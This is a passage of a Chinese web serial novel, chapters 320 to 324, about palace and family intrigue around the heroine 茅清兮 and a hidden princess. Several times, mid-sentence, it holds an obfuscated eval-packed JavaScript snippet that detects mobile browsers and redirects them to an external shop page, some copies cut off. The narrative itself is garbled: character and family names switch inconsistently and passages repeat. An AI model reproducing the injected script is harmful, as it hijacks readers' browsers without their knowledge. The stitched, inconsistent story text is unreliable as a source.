一名黑衣刺客沉声道, “待您登上阁主之位,重振青鸾阁,指日可待,又岂是一个玄月门能撼动的?” 元霄紧锁的眉头, 终于舒展了些。 她扯出一抹冷笑,寒意凛然, “这是自然。只要老东西一命呜呼,青鸾阁,就是我的囊中之物。” 她微微抬手,示意众人噤声, “你们行事都给我小心些,别让玄月门的人抓住把柄。还有,盯**茅清兮,绝不能让老不死的人和她有任何瓜葛。” “她娘当年既已叛出青鸾阁,舍弃阁主之位,便再无资格染指青鸾阁分毫!” “属下遵命!” 黑衣人们齐声应道,声震屋瓦。 元霄挥了挥手, 示意他们退下。 刚要转身, 她忽然想起一事, “对了,安宁公主那边,可有什么发现?” “回主子,” 一名黑衣人上前一步,躬身道, “属下查明,安宁公主,便是安阳侯府的嫡次女,茅暮暮。当年她被抬入林府冲喜的当晚,便被五皇子的人秘密送出了京城,一路送往西魏。” “茅暮暮?” 元霄挑了挑眉, 语气中听不出喜怒。 安宁公主处处针对茅清兮, 明眼人一看便知, 这其中必有蹊跷。 尤其是在诗会上, 她所弹奏的那首曲子…… 更是将她的身份暴露无遗。 茅暮暮, 平生最得意的, 便是那一手精妙绝伦的琴技, 与那一手傲骨铮铮的书法。 若非为了让茅清兮出丑, 她又怎会舍弃自己更为擅长的书法, 而选择以飞花令对决? 第三百二十章 事实上, 茅清兮早已猜到了安宁公主的身份。 也正因如此, 才故意设下圈套, 引她入局。 在茅暮暮眼中, 茅清兮, 不过是她脚下的一只蝼蚁, 可以随意践踏。 即便茅清兮曾让她刮目相看, 茅暮暮也只当她是走了运。 毕竟, 这世上, 还有谁比她更了解茅清兮呢? 茅清兮, 不过是在她的打压下,苟延残喘罢了。 也正是利用了茅暮暮的这份盲目自大, 茅清兮才能反败为胜, 夺走那所谓的“第一才女”之名。 只可惜, 聪明反被聪明误。 说的, 便是茅暮暮这等人。 只是…… 即便茅清兮确定了茅暮暮的身份, 可心中仍有一团迷雾。 她究竟是如何瞒天过海, 成了西魏的公主? “此事,还是由属下细细道来。” 屏风后, 响起一道低沉的嗓音。 富辰缓步而出, 目光沉静如水。 “玄月门在西魏安插的眼线,查到了一些不为人知的秘密。” 他顿了顿, 开始讲述一段尘封已久的往事: “茅暮暮,确是西魏皇帝当年私访大晋时,与一民间女子所生。而那女子,便是如今的长平侯夫人,骆芸。” “多年前,西魏趁大晋内乱,出兵南下。彼时,圣上正率军与叛军激战,西魏皇帝便想趁机偷袭大晋都城安州。” “混乱之中,西魏皇帝‘巧遇’了正与家人失散,四处逃难的骆芸……” 说到这里, 富辰不动声色地看了茅清兮一眼。 茅清兮神色平静, 淡淡道: “段统领但说无妨。” 茅文昭与骆芸之间的那些风流韵事, 她早已听得麻木, 不愿再提。 富辰微微颔首, 继续说道: “长平侯当年随青霜将军一同出征,两人在军中结为夫妇,此事在游萍军中人尽皆知。” “可后来,长平侯在安州与骆芸重逢,两人旧情复燃。也正是在那时,骆芸珠胎暗结。长平侯与骆芸都以为,腹中骨肉是长平侯的。” 时机太过凑巧, 根本容不得人多想。 骆芸, 更是将那段不堪回首的往事, 死死地埋藏在了心底。 “后来战事平息,茅文昭因功被封为长平侯,骆芸母女也随之入府。苏家自知理亏,便想借茅暮暮的身世做文章,暗中联系了西魏的五皇子,试图攀附权贵。” “五皇子心知肚明,却将计就计,将苏家收为己用,暗中为他搜集大晋情报,安插眼线。” “苏家这些年为五皇子做了不少见不得光的事,直到燕大人与主子您联手,揪出了苏家的罪证,五皇子才不得不舍弃了这枚棋子。” 富辰略微停顿, “而这次,五皇子在夺嫡之争中落入下风,为了扭转局势,他不得不将茅暮暮接回西魏,试图利用她来博取西魏皇帝的欢心。” 富辰清了清嗓子, “昔年,西魏皇帝南下之时,曾对骆芸的美貌念念不忘。若非青霜将军当机立断,率军偷袭西魏粮草,只怕骆芸早已被掳回西魏皇宫。” “可怜骆芸并不知晓,当年夺去她清白的男子,竟是西魏的皇帝。若她早知如此,只怕早就欢天喜地地跟着去了,又怎会委身于茅文昭?” 他微微叹了口气, “西魏皇帝如今年迈,五皇子正是看准了这一点,才将茅暮暮送到他面前。一来,可以勾起西魏皇帝的‘回忆’;二来,茅暮暮与骆芸容貌相似,足以让西魏皇帝睹物思人。” 五皇子这一招棋,不可谓不高明。 他将茅暮暮精心装扮,送入宫中。 果然, 龙榻之上, 西魏老皇帝看着那张酷似骆芸的脸, 尘封的记忆, 如潮水般涌上心头。 尤其, 茅暮暮还带来了一桩“惊喜”。 “父皇,儿臣听闻您当年曾遗落一颗明珠在大晋……” 茅暮暮盈盈下拜, 声音娇柔婉转, “如今,女儿终于回到了您的身边。” 老皇帝闻言, 浑浊的双眼, 瞬间迸发出精光。 他细细打量着眼前的女子, 那眉眼, 那神态, 与当年的骆芸, 简直如出一辙。 “好,好,好!” 老皇帝连说了三个好字, 声音颤抖, 难掩激动。 他万万没想到, 自己竟还有一个女儿, 流落在外。 这份意外之喜, 让他在朝堂之上, 对五皇子也多了几分赞许。 而茅暮暮,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582268|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也顺理成章地, 成了西魏最受宠的公主。 甚至, 为了掩人耳目, 西魏皇帝还特意为她编造了一个新的身份, 让她可以名正言顺地, 出现在众人面前。 任谁也不会想到, 这位备受瞩目的西魏公主, 竟会是大晋一位宓爷, 早已“死去”的女儿。 毕竟, 对于大晋而言, 茅暮暮, 早已是一个不存在的人了。西魏那位老皇帝,做着一统天下的美梦,也不掂量掂量自己几斤几两。 想当年,他还是前朝李氏太子的时候,就成天琢磨着怎么把这天下牢牢抓在手里。 结果呢?被贬到云陲那个兔子不拉屎的地方,这皇位,算是彻底跟他没关系了。 茅清兮端起茶杯,轻轻吹了口气,心里暗自冷笑。 就算当年他真坐上了龙椅,这李氏的江山,他也守不住。 民心早就散了,谁来都一样,他以为他是谁,救世主吗? 偏偏这位老皇帝还不死心,越老越糊涂,做梦都想杀回中原。 西魏的储君之位就这么一直空着,哪个皇子有本事把大晋给吞了,就能一步登天。 这如意算盘,打得可真响。 茅清兮将茶杯缓缓放下,杯底与桌面碰撞,发出一声轻响,她的眼神也随之一冷。 五皇子在大晋上蹿下跳,其他皇子在背后煽风点火,这事儿也就明摆着了。 她可不信大晋的皇子们都是傻白甜,没准儿早就暗通款曲,狼狈为奸了。 要不然,云陲怎么丢的那么快? 冀容白又怎么会在云陲遇险? 想到冀容白,茅清兮的心弦微微一颤,她抬眸看向富辰,语气也柔和了几分: “那个茅暮暮,唱的又是哪一出?好好的西魏公主不当,非要跑回大晋来,她到底想干什么?” 不等富辰回答,茅清兮又自顾自地补充了一句: “这女人,从前就不是个省油的灯。她突然跑回西魏,背后肯定少不了那个五皇子的影子。” 富辰微微躬身,沉声说道: “夫人说得没错。安宁公主身边的两个侍女,的确是五皇子的人。不过,这两个人自从来了大晋,就跟人间蒸发了似的,一点动静都没有,也没见她们跟五皇子联系。” 他顿了顿,语气里带着一丝困惑和不解。 茅清兮的眉头轻轻蹙起,手指在桌面上有一搭没一搭地敲着: “马静郡主那边呢? 第三百二十一章 有没有查出什么眉目?” 富辰的脸色顿时一垮,头也低了下去,声音里透着一股子懊恼和沮丧: “回夫人,暂时……一无所获。” 冀容白一直安静地坐在一旁,手里拿着一卷书,却似乎并没有在看。 这时,他突然抬起头,淡淡地问了一句: “是没有发现任何异常,还是压根儿就一无所获?” 富辰的头埋得更低了,声音也变得更小,几乎微不可闻: “回主子,是……一无所获。别说异常了,就连一点有用的线索都没有。” 他感觉自己的脸都快烧起来了。 玄月门是什么地方?那是天下消息最灵通的地方! 可如今,他们竟然连一个马静郡主都查不透,这简直是…… 他都不好意思说下去了。 之前,玄月门派往西魏的探子,好不容易潜入了马静郡主的闺房。 结果呢,除了闻到一股若有若无的药味,就再也没有别的发现了。 富辰不甘心,又陆陆续续派了不少人手去西魏,结果还是一样,什么有价值的情报都没弄到。 这马静郡主,就像是一个谜,让人完全摸不着头脑。 明知道她有问题,可就是查不出问题出在哪里。 这对玄月门来说,简直是前所未有的耻辱! 富辰越想越觉得憋屈,恨不得立刻回去,把手底下那些人狠狠地训斥一顿。 茅清兮倒是一脸平静,似乎并没有把这件事放在心上。 她轻轻地摆了摆手,淡淡地说道: “行了,既然她这么能藏,就先别在她身上浪费精力了。派几个人暗中盯着她,我就不信,她能永远不露出狐狸尾巴。” 富辰如释重负,连忙应道: “是,夫人,属下这就去办。” 他停顿了一下,又补充道: “夫人请放心,如今澜府上下,谁不知道夫人的话比主子的还管用?谁要是敢不听夫人的,我富辰第一个不答应!” 这话可不是富辰为了讨好茅清兮才这么说的。 整个澜府,谁不知道冀容白对这位夫人有多看重? 自从茅清兮嫁进澜府,冀容白几乎是把她捧在了手心里。 以前那些跟在冀容白身边的人,更是看得清清楚楚。 如今,冀容白事事都以茅清兮为先,他们这些人,自然也唯茅清兮马首是瞻。 富辰刚退出去,绿绿就急匆匆地走了进来,神色慌张地说道: “将军,夫人,宫里来人了,说是皇上派来的太医。” 冀容白立刻看向茅清兮,眼神里流露出担忧的神色。 茅清兮反应神速,端起桌上的茶杯,一仰头,将杯中剩余的茶水一饮而尽。 然后,她“噌”地一下从椅子上站起来,三步并作两步,冲进内室,直接躺在了床上,还顺手拉上了床幔。 她现在可是“身受重伤”,冀容白为了她的“病情”,特意请了太医来诊治。 这戏,她必须演全套,不能让太医看出任何端倪。 更何况,御医们返回皇宫之时,可是要把她的情况一五一十地禀告给皇上的。 茅清兮躺在床上,深吸一口气,缓缓闭上眼睛。 她暗自运功,将体内的气息调整到最微弱的状态,又在自己的手臂上轻轻按压了几下。 这样一来,就算太医来把脉,也只能探到她虚弱无力的脉象,根本察觉不到她体内的真实情况。 过了一会儿,太医在外面通报,冀容白示意他进来。 茅清兮依旧闭着眼睛,一动不动地躺在床上。 太医走到床边,隔着床幔,小心翼翼地伸出手,想要为茅清兮把脉。 “男女授受不亲,太医还是隔着帘子诊脉吧。” 茅清兮轻声说道,声音听起来有气无力。 太医一听,连忙收回了手,隔着帘子,仔细地为茅清兮诊脉。 诊完脉,太医又问了茅清兮几个问题,茅清兮都一一作答,只是声音依旧虚弱。 最后,太医开了几副安神补气的方子,便告辞离开了。 听到太医离开的脚步声,茅清兮这才缓缓睁开眼睛,从床上坐了起来。 冀容白一直站在床边,看到茅清兮坐起来,他伸手撩开床幔,脸上带着一抹若有若无的笑意: “娘子,你猜,外面现在都怎么说你?” 茅清兮微微一怔,随即眼中闪过一丝好奇: “怎么说?” 冀容白清了清嗓子,模仿着说书人的腔调: “话说当今臧夫人,文武双全,才貌无双……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585114|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >茅清兮听了忍不住“噗嗤”一声笑出来, “打住,打住。哪有这么夸张。” “这可不是我说的,”冀容白一脸无辜地耸耸肩,“是外面的人说的,我可一个字都没添油加醋。” “如今,京城里关于臧夫人的传闻,那可真是……五花八门,各种版本都有。” 冀容白顿了顿,故意压低了声音,用一种神秘兮萱的语气说道: “有人说,臧夫人不仅是京城第一才女,还是京城第一美人。” “还有人说,臧夫人不仅才貌双全,还武功高强,那天在诗会上,一人一剑,击退了数十名刺客,救下了在场的所有学子。” “更有人说,臧夫人是天上的仙女下凡,不仅才华横溢,还心怀天下……” 茅清兮越听越觉得离谱,忍不住翻了个白眼: “这些人,不去茶馆说书真是可惜了。” “谁说不是呢,”冀容白笑着说道,“现在京城里,茶馆、酒楼、街头巷尾,到处都在议论臧夫人。” “那些学子们,更是把臧夫人当成了偶像,一个个都恨不得把臧夫人捧上天。” “但凡有人敢说臧夫人一句不是,他们立刻就跟人急,比维护自己的名声还积极。” 冀容白说的一点都不夸张。 那日诗会之后,茅清兮“才女”的名声不胫而走。 特别是那些参加诗会的学子,更是成了茅清兮的“铁杆粉丝”,四处宣扬茅清兮的事迹。 这些学子,平时一个个都自诩清高,最是看不起那些“离经叛道”的人。 当初,茅清兮“不守规矩”的名声传出来的时候,这些学子可没少在背后议论她,甚至还写文章来批判她。 可如今,风向却完全变了。 这些学子,一个个都像是变了个人似的,对茅清兮推崇备至,简直把她当成了“圣人”。 以前,宋家两姐妹,一个是才华横溢的才女,一个是粗鄙不堪的草包。 大家茶余饭后,最喜欢把这两人放在一起比较,以此来衬托宋家二小姐的优秀。 可现在,宋家二小姐不仅才学受到了质疑,还被爆出了私德有亏,名声彻底臭了。 反倒是宋家大小姐,现在的苏枭将军夫人,不仅才名远播,还得到了“侠女”的美誉,风头一时无两。 第三百二十二章 就连茅清兮自己,都有点反应不过来。 这天,她应清韵公主的邀请,去听雨阁吃饭。 刚坐下没多久,就有一个年轻的学子,红着脸,扭扭捏捏地走了过来。 他手里拿着一卷书,走到茅清兮面前,深深地鞠了一躬,声音有些颤抖地说道: “明……臧夫人,学生……学生有一篇文章,想请您……指点一二。” 茅清兮愣了一下,还没来得及说话,清韵公主就“哈哈”大笑起来,笑得前仰后合,差点从椅子上摔下来。 茅清兮哭笑不得。“明……臧夫人,学生……学生有一篇文章,想请您……指点一二。” 一位年轻学子,脸颊涨得通红,像是鼓足了全身的勇气,才磕磕巴巴地挤出这句话。他低着头,双手紧紧攥着一卷书,指节因为用力而微微泛白。 茅清兮怔在原地,一时间竟不知道该如何回应。 说她不会写文章? 还是说她不会作诗? 她心里清楚得很,自己能顶着“第一才女”的名头,不过是占了记忆力的便宜。当初设计茅暮暮,诱导她同意比试“飞花令”,不过是仗着这个金手指为所欲为罢了。 真要让她提笔写文章,或者吟诗作对,恐怕立刻就要露馅。 可偏偏这些学子们不明就里。 在他们眼中,茅清兮从前是韬光养晦,藏拙自污,任由那些流言蜚语泼脏水。而今,她终于不再隐藏,在诗会上一鸣惊人,才学尽显。 更何况,那日她仗剑救人的身影,如同烙印般刻在了学子们的心中。 在那样的生死关头,人们总是习惯将对死亡的恐惧,以及劫后余生的狂喜,寄托在某个人身上。 于是,茅清兮便成了他们心中,那个近乎神祇般的存在。 茅清兮的目光扫过眼前这位学子,他的眼中闪烁着毫不掩饰的崇拜与敬仰。她无奈地揉了揉眉心,只觉得一阵头疼。 这种虚名,可不是什么好事啊! “哈哈哈哈……” 一旁的清韵公主再也忍不住,爆发出一阵肆无忌惮的大笑,身子前仰后合,几乎要从椅子上跌落下来。 茅清兮又好气又好笑,却也没有伸手去接那位学子递过来的文章。 “这位公子,”她清了清嗓子,尽量让自己的语气听起来温和一些,“观您的字迹……像是驸马的学生?” 她微微侧头,似乎在回忆着什么。 “驸马是个学霸,见解独到。小女子不过是在内宅读过几本书,实在不敢班门弄斧。若是探讨治国安邦的大事,还是请教驸马,或是书院的先生们,更为妥当。” 茅清兮不动声色地将问题抛了回去。 “啊?我爹的学生?”清韵公主好奇地凑了过来,伸长脖子想要看个究竟。 不过,她自己斗大的字不识一箩筐,看到那密密麻麻的文字就头晕眼花。 那学子被茅清兮这么一说,愈发窘迫,原本就通红的脸,此刻更是红得快要滴出血来。他支支吾吾地说道:“是……是我唐突了,冒犯了臧夫人……” 说完,他深深地鞠了一躬,转身逃也似的跑开了,留下衣角在空中划过一道仓皇的弧线。 茅清兮望着他远去的背影,无奈地叹了口气。 她是真的无能为力。总不能当着这么多人的面,承认自己只是个会背书的华儒,对文章策论其实一窍不通吧? “我说,你现在可是名满京城的‘第一才女’,感觉怎么样?”清韵公主收敛了笑声,揶揄地看向茅清兮。 “怎么,羡慕了?这名头给你,你要不要?”茅清兮反唇相讥。 “切,我才不稀罕呢!”清韵公主撇了撇嘴,往椅背上一靠,双手抱胸,一副不以为然的样子。 “我爹从小就想把我打造成学霸女神,可惜啊,我天生就不是这块料。那些字,我认不得它们,它们也认不得我,我爹直接破防了。” 她说着,还用手点了点自己的脑袋,做了个鬼脸。 周驸马饱读诗书这事,京里有些头脸的人家都知道。 不过她这女儿,随了长公主,比起书本,还是更喜欢刀枪。 清韵的性子,说好听点是率真烂漫,说难听点,就是被长公主给宠坏了。 虽说在某些方面,茅清兮跟清韵公主,都可以算得上是样子货。 但茅清兮不同,她有个过目不忘的本事,看过的书,那可都是记得牢牢的。 这么一想,那日诗会上,她好像是有点得意忘形了。 把自己捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585115|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这么高,摔下来的时候,那才叫一个惨呢! 她现在总算是明白,冀容白跟她提那些传言的时候,为什么笑得那么……欠揍了。 敢情,他是在看自己的笑话呢! 茅清兮暗自磨了磨牙,端起茶杯,遮掩住眼底那一闪而过的心虚。 清韵会约她出来,无非两个原因,一是瞧热闹,二则想从长公主眼皮子底下溜出来,找个由头罢了。 自从西魏那边的风声传过来,长公主就跟变了个人似的,整天念叨着要给清韵寻个好人家。 这倒也能理解,上辈子,清韵就是为了两国邦交,才远嫁和亲。 可如今,冀容白还活得好好的,云陲固若金汤,哪还用得着牺牲一个公主去换太平? 所以,清韵最近的日子,过得那叫一个水深火热。 可偏偏,她还不能跟长公主硬碰硬。 只能变着法儿地往外跑,而茅清兮,就是她最好的幌子。 这不,两人用过午膳,又在街上闲逛,就撞见了有趣的一幕。 一家脂粉铺里,两个女子正低头挑选着胭脂,其中一个,茅清兮还算眼熟,正是那位对她颇有微词的康雨芸。 另一个女子,瞧着眼生,但那通身的气派,一看就不是寻常人家的女儿。 茅清兮正暗自猜测着她的身份,就见康雨芸目光一转,落在了自己身上,脸色瞬间就沉了下来。 她拉了拉身旁那位女子的衣袖,低声说了句什么,便要转身离去。 那女子却没动,反倒是好奇地朝这边望了过来,先是瞧见了茅清兮,紧接着,目光便落在了清韵公主身上,眼睛都亮了几分。 “清韵姐姐?” 声音清脆,带着几分惊喜。 清韵公主也愣了下,才认出她: “清媛?你怎么也跑出来了?” 茅清兮心念一动,已然猜到了来人的身份。 “别提了,还不是四叔,非说我整日闷在府里,会闷出病来,硬是打发我出来透透气。” 吴清媛快步走到清韵公主身边,亲昵地挽住她的胳膊,语气中带着几分撒娇的意味。 “早知道姐姐也出门,我就该去府上寻你的。” 吴清媛,正是陈家大房的嫡次女。 第三百二十三章 陈家世代书香,虽说在朝堂上没什么实权,但在文人圈子里,那可是响当当的名门望族。 吴清媛的父亲,便是当今驸马**郎的亲哥哥。 而吴清媛的姐姐,则嫁入了长安伯府。 要说这永安伯,也算不上什么显赫的门第,不过是祖上跟着太/祖皇帝打天下,这才混了个爵位。 陈家向来不喜与那些权贵之家结亲,觉得铜臭味太重,沾染了俗气。 茅清兮之所以对吴清媛有些印象,还是因为富辰先前查到的一些蛛丝马迹。 据说,陈家有意与华家结亲,而对象,正是吴清媛的兄长**白,以及那位在京中毫无根基的华家大小姐林清刁。 虽说驸马爷住在长公主府,但血缘关系这东西,那是断不了的。 吴清媛与清韵,名义上还是堂姐妹。 不过,看吴清媛这般亲昵的模样,对清韵这位堂姐,倒是喜欢的紧。 “这位……想必就是臧夫人了吧?” 吴清媛说着,目光转向了茅清兮。 “早听说您才学过人,今日一见,果然名不虚传。” 茅清兮注意到康雨芸那快要翻上天的白眼,笑了笑,语气谦逊: “周小姐过誉了,不过是凑巧而已。陈家诗书传家,想必小姐的才学,更胜我多矣。” 她这话,倒也不全是客套。 陈家家风严谨,对子女的教导更是出了名的严格,想来吴清媛的才学,定然不差。 只是陈家行事低调,从不喜张扬,这才不显山不露水罢了。 茅清兮话锋一转,隐约想起来关于林臧雨的传言,开口道: “清韵姐姐,时辰还早,不如叫上清媛妹妹,一起去锦绣阁逛逛,那儿的首饰可是京城一绝呢。”“清韵姐姐想去哪儿逛?我陪你!”吴清媛嗓音清脆,像枝头欢唱的黄鹂鸟。她边说边挽住了清韵公主的手臂,亲昵地晃了晃。 清韵眼角微挑,飞快地瞥了茅清兮一眼,那眼神仿佛在说:什么情况?说好我俩的姐妹时光呢? 茅清兮回以一个稍安勿躁的眼神,指尖在袖中轻轻点了点,示意清韵顺着她的话往下说。 清韵抿了抿唇,不动声色地调整好表情。虽然不清楚茅清兮打的什么算盘,但还是配合地开口:“过几日不是我娘的寿辰嘛,我想着亲手为她挑一件贺礼。” “呀,四婶要过寿啦?”吴清媛一听,眼睛都亮了几分,“那我也要给四婶准备一份寿礼才是!清韵姐姐,你眼光好,快帮我参谋参谋!” 原本一直被冷落的康雨芸,此刻脸色更难看了,简直像吞了一只苍蝇般难受。她与吴清媛一同前来,结果这吴清媛见了清韵和茅清兮,就完全把自己抛到了脑后。 康雨芸的目光在茅清兮身上停留了几秒,眼神中带着一丝毫不掩饰的敌意,仿佛要将她生吞活剥。 那日诗会,茅清兮的风头太盛,让康雨芸颜面尽失。直到现在,她回想起那种被全方位碾压的感觉,依旧觉得呼吸不畅。 她冷哼一声,硬邦邦地朝几人甩下一句:“我还有事,先走一步!”说完,头也不回地大步离开,只留下一个决绝的背影。 吴清媛愣了愣,似乎没料到康雨芸会突然翻脸。不过她也没在意,转头继续跟清韵和茅清兮说说笑笑。 三人一路走走停停,逛遍了京城有名的几家首饰铺子和瑶华阁。在锦绣阁,清韵和吴清媛精心为长公主挑选了两件做工精巧、寓意吉祥的礼物。 逛到一家名为“玉玲珑”的铺子时,吴清媛被橱窗里的一块玉佩吸引住了目光。那玉佩通体碧绿,水头极好,雕刻的纹路也十分精致,一看就价值不菲。 “这块玉佩真不错,周妹妹好眼光。”清韵笑着赞道。 吴清媛有些不好意思地笑了笑:“我瞧着这玉佩的样式挺适合男子的,想买来送给我大哥。” 说话间,她已经让身边的丫鬟去付了银子。 清韵见状,趁吴清媛不注意,将茅清兮拉到一旁,压低声音问道:“你到底在打什么主意?别告诉我,你真是好心陪吴清媛逛街。她跟你非亲非故的,你会这么好心?” 茅清兮无奈地笑了笑,这清韵,还真是了解自己。 她也不隐瞒,直言道:“陈家不是来了一位华家的表小姐吗?听说,陈家有意将她许配给**白。我想见见这位盛小姐,看看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591182|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟是何方神圣,值不值得陈家如此大费周章。” 清韵盯着茅清兮看了几秒,眼神中闪过一丝了然。 “这事儿简单,交给我。”她拍了拍茅清兮的肩膀,一副“包在我身上”的架势。 吴清媛付完银子,正拿着玉佩仔细端详。 清韵走了过去,状似无意地问道:“清媛,你买这玉佩,是要送给谁呀?莫不是,我们周大小姐有了心上人?” “清韵姐姐,你又取笑我!”吴清媛的脸颊瞬间飞上两朵红云,她娇嗔地跺了跺脚,“我……我还是单身狗呢。这份礼物是给我哥的。” “送给书白哥的啊?”清韵若有所思地点了点头,“对了,我听说书白哥也在青云书院教书,是吗?” “嗯嗯,大哥说,他想一边教书,一边著书立说。”吴清媛提起兄长,语气中满是骄傲。 “书白哥也到了成家的年纪,吴老夫人没想着给他定门亲事?”清韵状似不经意地问道。 吴清媛犹豫了一下,凑近清韵,压低声音说:“祖母倒是提过几次,可大哥似乎都没什么兴致。不过……”她顿了顿,语气中带着一丝神秘,“府里来了一位华家的表小姐,我瞧着,祖母的意思,是想亲上加亲。” 清韵故作惊讶地睁大了眼睛:“华家?哪家的华家?我怎么没听说过?” “是安州华家。那位盛小姐,是陈家的远房亲戚。”吴清媛解释道。 “哦?那这位盛小姐,长得如何?人品又如何?”清韵追问道,一副好奇宝宝的模样。 吴清媛想了想,说:“盛表姐长得……反正就是很好看,我从未见过比她更美的女子。至于人品嘛,才来府上没多久,我也不是很清楚。” “有多好看?还能比本公主更好看?”清韵挑眉,语气中带着一丝不服气。 “这个……清韵姐姐,你和盛表姐是不同的美。盛表姐她……”吴清媛似乎在努力寻找合适的词语来形容,“她就像画里走出来的仙子一样,不食人间烟火。” “这么夸张?”清韵撇了撇嘴,“我倒要看看,这位盛小姐究竟有多美。过几日我娘的寿宴,你可一定要把她带来,让我好好瞧瞧。 第三百二十四章 ” “一定一定,到时候我一定带她来给清韵姐姐请安。”吴清媛连忙保证。 “这还差不多。”清韵满意地点了点头。 三人又逛了一会儿,这才尽兴而归。 临别时,清韵拉着茅清兮,低声说道:“两日后我娘的寿宴,你可一定要来。到时候,你就能见到这位华家表小姐了。” “多谢你费心安排,我定会准时赴宴。”茅清兮感激地说道。 “跟我还客气什么。”清韵嗔了她一眼,忽然凑近她,小声问道,“清兮,你最近是不是在忙什么重要的事情?需不需要我帮忙?” 茅清兮摇了摇头,轻声说:“你已经帮了我很大的忙了,剩下的事情,我自己能处理。” 她不想把清韵牵扯进来,这些朝堂上的纷争,还是越少人知道越好。 清韵虽然单纯,但并不傻。她能感觉到茅清兮有事瞒着自己,但她也知道,有些事情,茅清兮不说,自然有她的道理。 “好吧,既然你这么说,那我就不多问了。不过你记住,如果有什么需要帮忙的,一定要告诉我,千万别跟我客气。”清韵叮嘱道。 “嗯,我知道了。”茅清兮点了点头。 目送清韵的马车远去,茅清兮转身朝另一个方向走去。 她刚走了没几步,忽然听到身后传来一阵马蹄声。 一辆装饰华丽的马车缓缓驶来,在经过她身边时,车帘突然被人掀开。 一张精致绝美的脸庞出现在茅清兮的视线中,那女子朝她微微一笑,声音柔媚动人:“臧夫人,我们又见面了。” 茅清兮愣了一下,她并不认识眼前这个女子。 “你是……” “臣女平韶柔,荆南王之女,封号明明。”女子自我介绍道,语气中带着一丝不易察觉的傲慢。 “明明郡主?”茅清兮有些惊讶,她没想到会在这里遇到荆南王的女儿。 “臧夫人好记性。”平韶柔笑了笑,笑容中带着几分意味深长,“臣女一路北上,听闻了不少关于臧夫人的传闻,都说臧夫人是难得一见的才女,今日一见,果然名不虚传。” 茅清兮微微蹙眉,她总觉得这位明明郡主有些奇怪,但又说不上来哪里奇怪。 她刚要开口说些什么,突然间嗅到一丝若有若无的血味,那味道,似乎是从马车里飘出来的。 茅清兮下意识地屏住了呼吸,她对血腥味很敏感,这味道,让她感到不安。 “臧夫人这是要回府吗?正好臣女也没什么事,不如,就送臧夫人一程吧。”平韶柔热情地邀请道。 茅清兮本能地想要拒绝,但话到嘴边,又咽了回去。 她看着平韶柔那张精致的脸庞,心中忽然闪过一个念头。 也许,这位明明郡主,能帮到她。 “那就多谢郡主了。”茅清兮微微颔首,算是答应了。 平韶柔的脸上露出一丝得意的笑容,她朝茅清兮招了招手,示意她上车。 茅清兮犹豫了一下,还是迈步朝马车走去。 就在她即将踏上马车时,平韶柔忽然压低声音,用只有她们两人才能听到的声音说道:“臧夫人,救我。”“郡主这是……” 茅清兮的视线缓缓扫过面前这辆简陋的马车。 说是简陋,都有些抬举它了。 这怕不是从哪个犄角旮旯里淘来的破烂货。 再看平韶柔,脸上强撑着的镇定,也掩盖不住那一丝丝的慌乱。 茅清兮心里的问号,简直要从头顶冒出来。 这位金尊玉贵的明明郡主,今天这出场方式,也太……接地气了吧? 且不说郡主出行的仪仗队,连个贴身侍卫都没有。 赶车的,居然是个流着鼻涕的小屁孩,瞧那穿着打扮,八成是附近村里的。 荆南王,那可是跺跺脚,大晋朝都要抖三抖的人物。 他最宝贝的女儿进京,排场居然比她茅清兮还寒碜? 这事儿,透着古怪! 茅清兮眼里的怀疑,像探照灯一样,来回扫射。 平韶柔心头一紧,像揣了只活蹦乱跳的兔子。 她这次,可是把身家性命都押在茅清兮身上了。 万一茅清兮不信她…… 想到这里,平韶柔的指甲,狠狠掐进掌心。 疼,倒是不觉得。 只想着,要不要现在就和盘托出? 就在她天人交战之际,茅清兮动了。 只见她脚尖轻轻一点,身子像一片羽毛,轻飘飘地落在了马车上。 这一手,漂亮! 平韶柔的眼睛,亮了亮。 茅清兮从钱袋子里摸出一锭银子,看也没看,直接扔给那赶车的小孩。 “拿着,这是赏你的。这车, 